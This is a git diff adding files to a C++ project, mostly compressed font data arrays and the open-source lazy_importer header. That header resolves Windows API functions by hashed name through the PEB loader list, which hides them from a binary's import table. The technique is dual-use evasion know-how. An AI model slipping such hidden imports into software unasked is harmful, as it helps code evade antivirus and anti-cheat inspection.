0x2005f748, 0x211a8204, 0x0483096c, 0x72642d26, 0x660b7069, 0x6526bc82, 0x69727072, + 0x1a82746e, 0x07687336, 0x73756c66, 0x0a646568, 0x776f7266, 0x706f2d6e, 0x67116e65, 0x830b5a5b, 0x670c2dc6, 0x65626f6c, 0x7266612d, 0x0e616369, + 0x4f4c0c86, 0x0a732105, 0x732b0e86, 0x67076169, 0x616d6972, 0x82046563, 0x086e2107, 0x3c830483, 0x08840920, 0x61656224, 0x09880f6d, 0x77732d26, + 0x0b746165, 0x68250f84, 0x74726165, 0x220b8573, 0x82757173, 0x84112098, 0x210b8517, 0x1e82742d, 0xb0826482, 0x74732d24, 0x0a867261, 0x33851584, + 0x6e6f7426, 0x12657567, 0x0b853384, 0x3a852d20, 0x128b1020, 0x6e697723, 0x8389856b, 0x21898309, 0xff422d70, 0x820d2009, 0x2d70212a, 0x2007fe42, + 0x09a15b0e, 0x0720c083, 0x73280e83, 0x680b7465, 0x6c686769, 0x28057156, 0x746f6807, 0x6275742d, 0x24078205, 0x6a056c65, 0x25b6826f, 0x73696b04, + 0x04830973, 0xed842d20, 0x6d830984, 0xe2842d20, 0x616c0526, 0x0a686775, 0x20840584, 0x0a850c20, 0x1786ac85, 0x0c2c2e83, 0x6767756c, 0x2d656761, + 0x74726163, 0x2009545b, 0x09944a64, 0x96836420, 0x6a5b0620, 0x6d053005, 0x6c616465, 0x68656d09, 0x616c622d, 0x83106b6e, 0x72250809, 0x696c6c6f, + 0x652d676e, 0x08736579, 0x756e6f6d, 0x746e656d, 0x726f6d0d, 0x2d726174, 0x74736570, 0x700c656c, 0x20b38261, 0x2729832d, 0x70087265, 0x70737361, + 0x092a1e82, 0x2d6e6570, 0x636e6166, 0x09830779, 0x62696e23, 0x06834c0c, 0x6c757226, 0x700d7265, 0x65296282, 0x7272612d, 0x6c617669, 0x220d850f, + 0x82706564, 0x727521a8, 0xb6485282, 0x7307280a, 0x632d6461, 0x83087972, 0x65742807, 0x730b7261, 0x82747568, 0x762d2478, 0x42096e61, 0x904708ab, + 0x65622706, 0x730b6d61, 0x9e836c6f, 0x6e612008, 0x73036c65, 0x73076170, 0x746f6c70, 0x73096863, 0x79617270, 0x6e61632d, 0x61747305, 0x5a0d706d, + 0x2d25085c, 0x10746c61, 0x06325873, 0xf482ca84, 0x7573082c, 0x69727072, 0x730a6573, 0x3e826177, 0x6f6f6229, 0x7773076b, 0x826d6d69, 0x820784bf, + 0x702d2824, 0x0a6c6f6f, 0x5f6e6974, 0x052c0671, 0x65726974, 0x6f740564, 0x0e68746f, 0x2007b158, 0x2895822d, 0x760d6863, 0x6f746365, 0x06495372, + 0x1c490e20, 0x682d2405, 0x82676e61, 0x480e2047, 0x8c830918, 0x69610d33, 0x72662d72, 0x65687365, 0x0972656e, 0x6c707061, 0x2a178365, 0x6f746104, + 0x6f62046d, 0x830b656e, 0x722d2e8e, 0x65646165, 0x72620572, 0x076e6961, 0x05b35b63, 0x07830b20, 0x20069051, 0x250b8309, 0x73617263, 0x09830868, + 0x64697328, 0x68631065, 0x72837261, 0xfe822d20, 0x6f697427, 0x69640a6e, 0x82998272, 0x0c732509, 0x77617264, 0x6c25d282, 0x6e6f6779, 0x0574580b, + 0x6f632d24, 0x0b826564, 0x72657922, 0x2505ba51, 0x6e756c05, 0xad577367, 0x63733905, 0x0765706f, 0x2d6c696f, 0x046e6163, 0x706f6f70, 0x61687306, + 0x0c736570, 0x722f5c82, 0x2d666f2d, 0x6566696c, 0x65657405, 0x840a6874, 0x822d2005, 0x0d6e2330, 0x3a476874, 0x616d2c05, 0x0d736b73, 0x66617274, + 0x82636966, 0x6867222b, 0x06494974, 0x6e6f6d26, 0x72657473, 0x08064949, 0x63697027, 0x0270756b, 0x61046461, 0x05686b6e, 0x6c626962, 0x75620d65, + 0x656e6973, 0x742d7373, 0x04656d69, 0x79746963, 0x095b4a0e, 0x616c6c24, 0x0e860f72, 0xf0447320, 0x63052406, 0x82736f72, 0x61682be4, 0x63616d72, + 0x726b6168, 0x82501261, 0x742d290c, 0x0c747865, 0x646c6f66, 0x6d24ec82, 0x73756e69, 0x2a07b55c, 0x73756c70, 0x6e75660d, 0x866c656e, 0x0736084c, + 0x75706f67, 0x056d6172, 0x736d6168, 0x61620561, 0x04696168, 0x6964656a, 0x756f6a0e, 0x6c616e72, 0x6968772d, 0x05736c6c, 0x6261616b, 0x686b0661, + 0x61646e61, 0x05826c08, 0x616d3708, 0x6d096b72, 0x2d6c6961, 0x6b6c7562, 0x6e656d07, 0x6861726f, 0x736f6d06, 0x02657571, 0x700e6d6f, 0x61747361, + 0x69726166, 0x73696e61, 0x6570056d, 0x10656361, 0x05826c70, 0x666f2d30, 0x726f772d, 0x70696873, 0x6c6f7004, 0x0483066c, 0x04682d27, 0x79617270, + 0x2304830d, 0x2d676e69, 0x73226983, 0x9c827105, 0x600d6e21, 0xf0450681, 0x860f2005, 0x6f6c2e0d, 0x69746163, 0x73056e6f, 0x736b636f, 0x2c76820f, + 0x2d657261, 0x746f6f72, 0x746c612d, 0x217c8211, 0xa7822d72, 0x72632d28, 0x65637365, 0x2843746e, 0x307a8205, 0x69766164, 0x79730964, 0x6f67616e, + 0x05657567, 0x20b88374, 0x2e05820a, 0x672d6969, 0x06657461, 0x61686976, 0x520b6172, 0x2d2e054e, 0x6574756d, 0x6e697908, 0x6e61792d, 0x134a0d67, + 0x702d2506, 0x656e6f68, 0x0805194a, 0x61656424, 0x61630a64, 0x7267706d, 0x646e756f, 0x74616303, 0x61686305, 0x630a7269, 0x64756f6c, 0x6f6f6d2d, + 0x0a85096e, 0x6e75732c, 0x63696408, 0x32642d65, 0x08850730, 0x64033627, 0x6406676f, 0x378c8272, 0x72640e6e, 0x74736d75, 0x2d6b6369, 0x65746962, + 0x6e756407, 0x6e6f6567, 0x0805c158, 0x76736347, 0x7369660b, 0x61722d74, 0x64657369, 0x6f686705, 0x68067473, 0x656d6d61, 0x61680872, 0x696b756e, + 0x680a6861, 0x772d7461, 0x72617a69, 0x69680664, 0x676e696b, 0x70696805, 0x68056f70, 0x6573726f, 0x756f680c, 0x087c8273, 0x616d6122, 0x68076567, + 0x6e767972, 0x6d046169, 0x086b7361, 0x6e756f6d, 0x6e696174, 0x74656e0d, 0x6b726f77, 0x72204482, 0x6f296482, 0x72657474, 0x6e757207, 0x2d4a826e, + 0x72637306, 0x106c6c6f, 0x6c756b73, 0x0b822d6c, 0x6273732e, 0x73656e6f, 0x69707306, 0x0c726564, 0x270bbd62, 0x61727407, 0x726f7463, 0x2305d94b, + 0x756a6e69, 0x0c244e82, 0x632d7276, 0x62219a82, 0x2504826f, 0x6e697704, 0x04820b64, 0xd34d6520, 0x410e2006, 0x6d280523, 0x62746165, 0x0f6c6c61, + 0x83093d41, 0x416e20f2, 0xfd82064d, 0x85136e21, 0x05d0521a, 0x682d7326, 0x79766165, 0x73223d86, 0x2d846e75, 0x65640836, 0x72636f6d, 0x66087461, + 0x2d67616c, 0x06617375, 0x6574656d, 0x70259082, 0x6f737265, 0x2d73826e, 0x0968746f, 0x2d6f6f70, 0x726f7473, 0x5783076d, 0x776f6236, 0x7065720a, + 0x696c6275, 0x046e6163, 0x676f6d73, 0x6d657410, 0x61213182, 0x25bf8274, 0x6769682d, 0x108b0f68, 0x776f6c37, 0x746f7608, 0x65792d65, 0x61770561, + 0x04726574, 0x79626162, 0x8304830d, 0x69722be9, 0x09656761, 0x686f6962, 0xf2837a61, 0x6f6c6223, 0x099a6067, 0x79616422, 0x24098655, 0x6b656577, + 0x2175820a, 0x38827964, 0x06656e28, 0x72726163, 0x1f82746f, 0x2d687327, 0x69676572, 0x205c8273, 0x09ef5013, 0x77201c82, 0x2305e749, 0x706d7564, + 0x0d201c83, 0x2d340887, 0x65726966, 0x68746508, 0x656e7265, 0x69670574, 0x0c737466, 0x2205c548, 0x82656863, 0x062d64fd, 0x69687726, 0x79656b73, + 0x3106ce48, 0x6f727565, 0x670a6570, 0x2d706972, 0x656e696c, 0x0a891373, 0x08080b48, 0x75670626, 0x72617469, 0x6165680c, 0x622d7472, 0x656b6f72, + 0x6f680b6e, 0x2d796c6c, 0x72726562, 0x6f680a79, 0x2d657372, 0x28081e82, 0x63690764, 0x656c6369, 0x67690573, 0x066f6f6c, 0x7474696d, 0x6d076e65, + 0x682d6775, 0x7209746f, 0x61696461, 0x6e6f6974, 0x3709880d, 0x746c612d, 0x73657208, 0x6f6f7274, 0x6173096d, 0x6c6c6574, 0x0e657469, 0x2d300988, + 0x68736964, 0x2d647307, 0x64726163, 0x6d697308, 0x07220884, 0x48826b73, 0x06676e29, 0x69696b73, 0x850d676e, 0x6e2d3806, 0x6964726f, 0x6c730663, + 0x68676965, 0x736d7303, 0x6f6e730c, 0x826f6277, 0x2025823a, 0x230c8307, 0x086e616d, 0x70240783, 0x05776f6c, 0x67229c82, 0xc1420665, 0x74052f05, + 0x736c6f6f, 0x61727404, 0x6966086d, 0x99836572, 0x6162052a, 0x0c6e6f63, 0x6b6f6f62, 0x3907a450, 0x6572620b, 0x732d6461, 0x6563696c, 0x65686306, + 0x0e657365, 0x6e696c63, 0x21876369, 0x8707ba45, 0x6306270f, 0x63747572, 0xc8820768, 0x73616531, 0x67650365, 0x61680967, 0x7275626d, 0x4f726567, + 0x6d2605f4, 0x6c646469, 0x984a2d65, 0x68082105, 0x2d24ae82, 0x0d746168, 0x2b083951, 0x72657375, 0x746f6806, 0x09676f64, 0x2d217782, 0x21838263, + 0xe4460e6d, 0x656d2106, 0x6124f382, 0x6170056c, 0x0a274f82, 0x70706570, 0x822d7265, 0x700b252c, 0x617a7a69, 0x0d20a985, 0x7322d682, 0xd1552d68, + 0x8c112006, 0x4fe8830d, 0x6e290543, 0x65737275, 0x7661770b, 0x06e94765, 0x6962062b, 0x676e696b, 0x726f620a, 0x23548264, 0x0b6c6c61, 0x6e240a86, + 0x0c656e6f, 0x73310b86, 0x656c7974, 0x6e616603, 0x6f636905, 0x7009736e, 0x831c8268, 0x62102055, 0x10830bd4, 0x10820b20, 0x2d6f742c, 0x65646976, + 0x65720d6f, 0x69826f6d, 0x726f6626, 0x1374616d, 0x450ea65d, 0xba5d05cd, 0x059d5409, 0xae5d1420, 0x2026830f, 0x0db25d12, 0x15201283, 0x8310b65d, + 0x5d638515, 0x918409ba, 0x70732008, 0x2d6c6c65, 0x63656863, 0x6f76096b, 0x6d656369, 0x0a6c6961, 0x2d746168, 0x62776f63, 0x890f796f, 0x732d210a, + 0x052cb782, 0x73756f6d, 0x65720c65, 0x64726f63, 0x6e34c982, 0x63076c79, 0x76617261, 0x00006e61, 0xffff0100, 0x01000200, 0x0c200982, 0x16200382, + 0x0d830382, 0xe9030326, 0x04000200, 0x04820d84, 0x01200282, 0x00240382, 0xd7feeada, 0xdb2b0783, 0x0021e634, 0xdb000000, 0x052be634, 0x8e326cfa, + 0x000000c3, +}; + diff --git a/EngineX-Pro/lazy_importer.hpp b/EngineX-Pro/lazy_importer.hpp new file mode 100644 index 0000000..2043de0 --- /dev/null +++ b/EngineX-Pro/lazy_importer.hpp @@ -0,0 +1,656 @@ +/* + * Copyright 2018-2020 Justas Masiulis + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + // documentation is available at https://github.com/JustasMasiulis/lazy_importer + +#ifndef LAZY_IMPORTER_HPP +#define LAZY_IMPORTER_HPP + +#define LI_FN(name) \ + ::li::detail::lazy_function<::li::detail::khash(#name), decltype(&name)>() + +#define LI_FN_DEF(name) ::li::detail::lazy_function<::li::detail::khash(#name), name>() + +#define LI_MODULE(name) ::li::detail::lazy_module<::li::detail::khash(name)>() + +// NOTE only std::forward is used from this header. +// If there is a need to eliminate this dependency the function itself is very small. +#include +#include +#include + +#ifndef LAZY_IMPORTER_NO_FORCEINLINE +#if defined(_MSC_VER) +#define LAZY_IMPORTER_FORCEINLINE __forceinline +#elif defined(__GNUC__) && __GNUC__ > 3 +#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__)) +#else +#define LAZY_IMPORTER_FORCEINLINE inline +#endif +#else +#define LAZY_IMPORTER_FORCEINLINE inline +#endif + +#ifdef LAZY_IMPORTER_CASE_INSENSITIVE +#define LAZY_IMPORTER_TOLOWER(c) (c >= 'A' && c <= 'Z' ? (c | (1 << 5)) : c) +#else +#define LAZY_IMPORTER_TOLOWER(c) (c) +#endif + +namespace li { + namespace detail { + + template + struct pair { + First first; + Second second; + }; + + namespace win { + + struct LIST_ENTRY_T { + const char* Flink; + const char* Blink; + }; + + struct UNICODE_STRING_T { + unsigned short Length; + unsigned short MaximumLength; + wchar_t* Buffer; + }; + + struct PEB_LDR_DATA_T { + unsigned long Length; + unsigned long Initialized; + const char* SsHandle; + LIST_ENTRY_T InLoadOrderModuleList; + }; + + struct PEB_T { + unsigned char Reserved1[2]; + unsigned char BeingDebugged; + unsigned char Reserved2[1]; + const char* Reserved3[2]; + PEB_LDR_DATA_T* Ldr; + }; + + struct LDR_DATA_TABLE_ENTRY_T { + LIST_ENTRY_T InLoadOrderLinks; + LIST_ENTRY_T InMemoryOrderLinks; + LIST_ENTRY_T InInitializationOrderLinks; + const char* DllBase; + const char* EntryPoint; + union { + unsigned long SizeOfImage; + const char* _dummy; + }; + UNICODE_STRING_T FullDllName; + UNICODE_STRING_T BaseDllName; + + LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T* + load_order_next() const noexcept + { + return reinterpret_cast( + InLoadOrderLinks.Flink); + } + }; + + struct IMAGE_DOS_HEADER { // DOS .EXE header + unsigned short e_magic; // Magic number + unsigned short e_cblp; // Bytes on last page of file + unsigned short e_cp; // Pages in file + unsigned short e_crlc; // Relocations + unsigned short e_cparhdr; // Size of header in paragraphs + unsigned short e_minalloc; // Minimum extra paragraphs needed + unsigned short e_maxalloc; // Maximum extra paragraphs needed + unsigned short e_ss; // Initial (relative) SS value + unsigned short e_sp; // Initial SP value + unsigned short e_csum; // Checksum + unsigned short e_ip; // Initial IP value + unsigned short e_cs; // Initial (relative) CS value + unsigned short e_lfarlc; // File address of relocation table + unsigned short e_ovno; // Overlay number + unsigned short e_res[4]; // Reserved words + unsigned short e_oemid; // OEM identifier (for e_oeminfo) + unsigned short e_oeminfo; // OEM information; e_oemid specific + unsigned short e_res2[10]; // Reserved words + long e_lfanew; // File address of new exe header + }; + + struct IMAGE_FILE_HEADER { + unsigned short Machine; + unsigned short NumberOfSections; + unsigned long TimeDateStamp; + unsigned long PointerToSymbolTable; + unsigned long NumberOfSymbols; + unsigned short SizeOfOptionalHeader; + unsigned short Characteristics; + }; + + struct IMAGE_EXPORT_DIRECTORY { + unsigned long Characteristics; + unsigned long TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned long Name; + unsigned long Base; + unsigned long NumberOfFunctions; + unsigned long NumberOfNames; + unsigned long AddressOfFunctions; // RVA from base of image + unsigned long AddressOfNames; // RVA from base of image + unsigned long AddressOfNameOrdinals; // RVA from base of image + }; + + struct IMAGE_DATA_DIRECTORY { + unsigned long VirtualAddress; + unsigned long Size; + }; + + struct IMAGE_OPTIONAL_HEADER64 { + unsigned short Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned long SizeOfCode; + unsigned long SizeOfInitializedData; + unsigned long SizeOfUninitializedData; + unsigned long AddressOfEntryPoint; + unsigned long BaseOfCode; + unsigned long long ImageBase; + unsigned long SectionAlignment; + unsigned long FileAlignment; + unsigned short MajorOperatingSystemVersion; + unsigned short MinorOperatingSystemVersion; + unsigned short MajorImageVersion; + unsigned short MinorImageVersion; + unsigned short MajorSubsystemVersion; + unsigned short MinorSubsystemVersion; + unsigned long Win32VersionValue; + unsigned long SizeOfImage; + unsigned long SizeOfHeaders; + unsigned long CheckSum; + unsigned short Subsystem; + unsigned short DllCharacteristics; + unsigned long long SizeOfStackReserve; + unsigned long long SizeOfStackCommit; + unsigned long long SizeOfHeapReserve; + unsigned long long SizeOfHeapCommit; + unsigned long LoaderFlags; + unsigned long NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[16]; + }; + + struct IMAGE_OPTIONAL_HEADER32 { + unsigned short Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned long SizeOfCode; + unsigned long SizeOfInitializedData; + unsigned long SizeOfUninitializedData; + unsigned long AddressOfEntryPoint; + unsigned long BaseOfCode; + unsigned long BaseOfData; + unsigned long ImageBase; + unsigned long SectionAlignment; + unsigned long FileAlignment; + unsigned short MajorOperatingSystemVersion; + unsigned short MinorOperatingSystemVersion; + unsigned short MajorImageVersion; + unsigned short MinorImageVersion; + unsigned short MajorSubsystemVersion; + unsigned short MinorSubsystemVersion; + unsigned long Win32VersionValue; + unsigned long SizeOfImage; + unsigned long SizeOfHeaders; + unsigned long CheckSum; + unsigned short Subsystem; + unsigned short DllCharacteristics; + unsigned long SizeOfStackReserve; + unsigned long SizeOfStackCommit; + unsigned long SizeOfHeapReserve; + unsigned long SizeOfHeapCommit; + unsigned long LoaderFlags; + unsigned long NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[16]; + }; + + struct IMAGE_NT_HEADERS { + unsigned long Signature; + IMAGE_FILE_HEADER FileHeader; +#ifdef _WIN64 + IMAGE_OPTIONAL_HEADER64 OptionalHeader; +#else + IMAGE_OPTIONAL_HEADER32 OptionalHeader; +#endif + }; + + } // namespace win + + // hashing stuff + struct hash_t { + using value_type = unsigned long; + constexpr static value_type offset = 2166136261; + constexpr static value_type prime = 16777619; + constexpr static unsigned long long prime64 = prime; + + LAZY_IMPORTER_FORCEINLINE constexpr static value_type single(value_type value, + char c) noexcept + { + return static_cast( + (value ^ LAZY_IMPORTER_TOLOWER(c)) * + static_cast(prime)); + } + }; + + template + LAZY_IMPORTER_FORCEINLINE constexpr hash_t::value_type + khash(const CharT* str, hash_t::value_type value = hash_t::offset) noexcept + { + return (*str ? khash(str + 1, hash_t::single(value, *str)) : value); + } + + template + LAZY_IMPORTER_FORCEINLINE hash_t::value_type hash(const CharT* str) noexcept + { + hash_t::value_type value = hash_t::offset; + + for (;;) { + char c = *str++; + if (!c) + return value; + value = hash_t::single(value, c); + } + } + + LAZY_IMPORTER_FORCEINLINE hash_t::value_type hash( + const win::UNICODE_STRING_T& str) noexcept + { + auto first = str.Buffer; + const auto last = first + (str.Length / sizeof(wchar_t)); + auto value = hash_t::offset; + for (; first != last; ++first) + value = hash_t::single(value, static_cast(*first)); + + return value; + } + + LAZY_IMPORTER_FORCEINLINE pair hash_forwarded( + const char* str) noexcept + { + pair module_and_function{ + hash_t::offset, hash_t::offset + }; + + for (; *str != '.'; ++str) + module_and_function.first = hash_t::single(module_and_function.first, *str); + + ++str; + + for (; *str; ++str) + module_and_function.second = hash_t::single(module_and_function.second, *str); + + return module_and_function; + } + + + // some helper functions + LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept + { +#if defined(_WIN64) + return reinterpret_cast(__readgsqword(0x60)); +#elif defined(_WIN32) + return reinterpret_cast(__readfsdword(0x30)); +#else +#error Unsupported platform. Open an issue and I'll probably add support. +#endif + } + + LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr() + { + return reinterpret_cast(peb()->Ldr); + } + + LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers( + const char* base) noexcept + { + return reinterpret_cast( + base + reinterpret_cast(base)->e_lfanew); + } + + LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir( + const char* base) noexcept + { + return reinterpret_cast( + base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress); + } + + LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept + { + return reinterpret_cast( + ldr()->InLoadOrderModuleList.Flink); + } + + struct exports_directory { + const char* _base; + const win::IMAGE_EXPORT_DIRECTORY* _ied; + unsigned long _ied_size; + + public: + using size_type = unsigned long; + + LAZY_IMPORTER_FORCEINLINE + exports_directory(const char* base) noexcept : _base(base) + { + const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0]; + _ied = reinterpret_cast( + base + ied_data_dir.VirtualAddress); + _ied_size = ied_data_dir.Size; + } + + LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept + { + return reinterpret_cast(_ied) != _base; + } + + LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept + { + return _ied->NumberOfNames; + } + + LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; } + LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept + { + return _ied; + } + + LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept + { + return reinterpret_cast( + _base + reinterpret_cast( + _base + _ied->AddressOfNames)[index]); + } + + LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept + { + const auto* const rva_table = + reinterpret_cast(_base + _ied->AddressOfFunctions); + + const auto* const ord_table = reinterpret_cast( + _base + _ied->AddressOfNameOrdinals); + + return _base + rva_table[ord_table[index]]; + } + + LAZY_IMPORTER_FORCEINLINE bool is_forwarded(const char* export_address) const + noexcept + { + const auto ui_ied = reinterpret_cast(_ied); + return (export_address > ui_ied && export_address < ui_ied + _ied_size); + } + }; + + struct safe_module_enumerator { + using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T; + value_type* value; + value_type* const head; + + LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept + : value(ldr_data_entry()), head(value) + {} + + LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = head; } + + LAZY_IMPORTER_FORCEINLINE bool next() noexcept + { + value = value->load_order_next(); + return value != head && value->DllBase; + } + }; + + struct unsafe_module_enumerator { + using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*; + value_type value; + + LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept + : value(ldr_data_entry()) + {} + + LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); } + + LAZY_IMPORTER_FORCEINLINE bool next() noexcept + { + value = value->load_order_next(); + return true; + } + }; + + // provides the cached functions which use Derive classes methods + template + class lazy_base { + protected: + // This function is needed because every templated function + // with different args has its own static buffer + LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept + { + static void* value = nullptr; + return value; + } + + public: + template + LAZY_IMPORTER_FORCEINLINE static T safe() noexcept + { + return Derived::template get(); + } + + template + LAZY_IMPORTER_FORCEINLINE static T cached() noexcept + { + auto& cached = _cache(); + if (!cached) + cached = Derived::template get(); + + return (T)(cached); + } + + template + LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept + { + return cached(); + } + }; + + template + struct lazy_module : lazy_base> { + template + LAZY_IMPORTER_FORCEINLINE static T get() noexcept + { + Enum e; + do { + if (hash(e.value->BaseDllName) == Hash) + return (T)(e.value->DllBase); + } while (e.next()); + return {}; + } + }; + + template + struct lazy_function : lazy_base, T> { + using base_type = lazy_base, T>; + + template + LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const + { +#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS + return get()(std::forward(args)...); +#else + return this->cached()(std::forward(args)...); +#endif + } + + template + LAZY_IMPORTER_FORCEINLINE static F get() noexcept + { + // for backwards compatability. + // Before 2.0 it was only possible to resolve forwarded exports when + // this macro was enabled +#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS + return forwarded(); +#else + Enum e; + do { + const exports_directory exports(e.value->DllBase); + + if (exports) { + auto export_index = exports.size(); + while (export_index--) + if (hash(exports.name(export_index)) == Hash) + return (F)(exports.address(export_index)); + } + } while (e.next()); + return {}; +#endif + } + + template + LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept + { + detail::win::UNICODE_STRING_T name; + hash_t::value_type module_hash = 0; + auto function_hash = Hash; + + Enum e; + do { + name = e.value->BaseDllName; + name.Length -= 8; // get rid of .dll extension + + if (!module_hash || hash(name) == module_hash) { + const exports_directory exports(e.value->DllBase); + + if (exports) { + auto export_index = exports.size(); + while (export_index--) + if (hash(exports.name(export_index)) == function_hash) { + const auto addr = exports.address(export_index); + + if (exports.is_forwarded(addr)) { + auto hashes = hash_forwarded( + reinterpret_cast(addr)); + + function_hash = hashes.second; + module_hash = hashes.first; + + e.reset(); + break; + } + return (F)(addr); + } + } + } + } while (e.next()); + return {}; + } + + template + LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept + { + return forwarded(); + } + + template + LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept + { + auto& value = base_type::_cache(); + if (!value) + value = forwarded(); + return (F)(value); + } + + template + LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept + { + return forwarded_cached(); + } + + template + LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept + { + if (IsSafe && !m) + return {}; + + const exports_directory exports((const char*)(m)); + if (IsSafe && !exports) + return {}; + + for (unsigned long i{};; ++i) { + if (IsSafe && i == exports.size()) + break; + + if (hash(exports.name(i)) == Hash) + return (F)(exports.address(i)); + } + return {}; + } + + template + LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept + { + return in(m); + } + + template + LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept + { + auto& value = base_type::_cache(); + if (!value) + value = in(m); + return (F)(value); + } + + template + LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept + { + return in_cached(m); + } + + template + LAZY_IMPORTER_FORCEINLINE static F nt() noexcept + { + return in(ldr_data_entry()->load_order_next()->DllBase); + } + + template + LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept + { + return in_safe(ldr_data_entry()->load_order_next()->DllBase); + } + + template + LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept + { + return in_cached(ldr_data_entry()->load_order_next()->DllBase); + } + + template + LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept + { + return in_safe_cached(ldr_data_entry()->load_order_next()->DllBase); + } + }; + + } +} // namespace li::detail + +#endif // include guard diff --git a/EngineX-Pro/popinsmedium.h b/EngineX-Pro/popinsmedium.h new file mode 100644 index 0000000..0434215 --- /dev/null +++ b/EngineX-Pro/popinsmedium.h @@ -0,0 +1,1927 @@ +#pragma once +static const unsigned int PoppinsMedium_compressed_size = 92189; +static const unsigned int PoppinsMedium_compressed_data[92192 / 4] = +{ + 0x0000bc57, 0x00000000, 0x40630200, 0x00000400, 0x00010037, 0x000d0000, 0x00030080, 0x45444750, 0x09160946, 0x28020019, 0x081582dc, 0x5047402c, + 0x73fb534f, 0x0200c7d9, 0x00001c29, 0x5347ac13, 0x86574255, 0x02008747, 0x0000c83c, 0x534f7626, 0x50da322f, 0x0100f878, 0x2f8268fd, 0x6d636028, + 0x09357061, 0x0f82143b, 0x02291f82, 0x796c67d2, 0x15ccad66, 0x2f1b8280, 0xe30100dc, 0x6165683c, 0x24a81a64, 0xec010067, 0x36211383, 0x23108268, + 0xf005540c, 0x44202f82, 0x24282382, 0x78746d68, 0x2af3e985, 0xb83c1f82, 0x8a100000, 0x61636f6c, 0x582da4b8, 0x38e40100, 0x48080000, 0x7078616d, + 0x2601a504, 0x18200f82, 0x203b2f82, 0x656d616e, 0xecdd69fc, 0x9c000200, 0xa6050000, 0x74736f70, 0x9b68bf3a, 0x82060200, 0x9522234f, 0x25820500, + 0xf4010024, 0xdd82bc02, 0x00063908, 0x000c0009, 0x1100000f, 0x01211121, 0x37031721, 0x07110127, 0x01072713, 0x010cfef4, 0xaaacfea4, 0x01aaaac8, + 0xaa8caa90, 0xfdbc02aa, 0xff8a0244, 0xffffd4fe, 0xfe0102fe, 0x002a0884, 0x00460001, 0x02560300, 0x8b8200ed, 0x2315013e, 0x27112311, 0x06141516, + 0x26262223, 0x16143335, 0x35363233, 0x35232734, 0x35232326, 0x262a0b84, 0x15062223, 0x36363423, 0x27833233, 0x15075808, 0x11331716, 0x687a5603, + 0x5c700a8a, 0x62396742, 0x3e353643, 0x5120020b, 0x3d372929, 0x41302e3d, 0x3d603561, 0x393c6f5a, 0x02cd181c, 0x74fd58e4, 0x1d013401, 0x346a5720, + 0x41323c5d, 0x161d333e, 0x3b553905, 0x37392f29, 0x2f56392e, 0x51395162, 0x0e06020f, 0x85005901, 0x84042199, 0x3c209982, 0x98830c82, 0x21259cb6, + 0x697a8404, 0x249fa4c5, 0xfd8c0210, 0xa6038374, 0xff0132a4, 0x02b1ffe0, 0x00e40264, 0x1200002c, 0x16141506, 0x05164133, 0x26222328, 0x11231527, + 0x40411633, 0x26510805, 0x26262323, 0x33363435, 0x35213533, 0x15231521, 0x353df223, 0x76582c2a, 0x4f3f545e, 0x055e6310, 0x37343b46, 0x47383746, + 0x6a4f6862, 0x840273fe, 0xd601b392, 0x22252920, 0x5e495c52, 0x01911d34, 0x343e3300, 0x032d3327, 0x484c4848, 0xb658586a, 0x31798500, 0x00f303cb, + 0x0000003b, 0x36230716, 0x15222326, 0x5b833315, 0x88a72220, 0x022c9183, 0x5c035a71, 0x50242a02, 0x2db39294, 0x012d949b, 0x035b558e, 0x295162f3, + 0x58486f32, 0x229c99b6, 0x826f5947, 0x00e8289d, 0x02540203, 0x822500e4, 0x0706279d, 0x15161615, 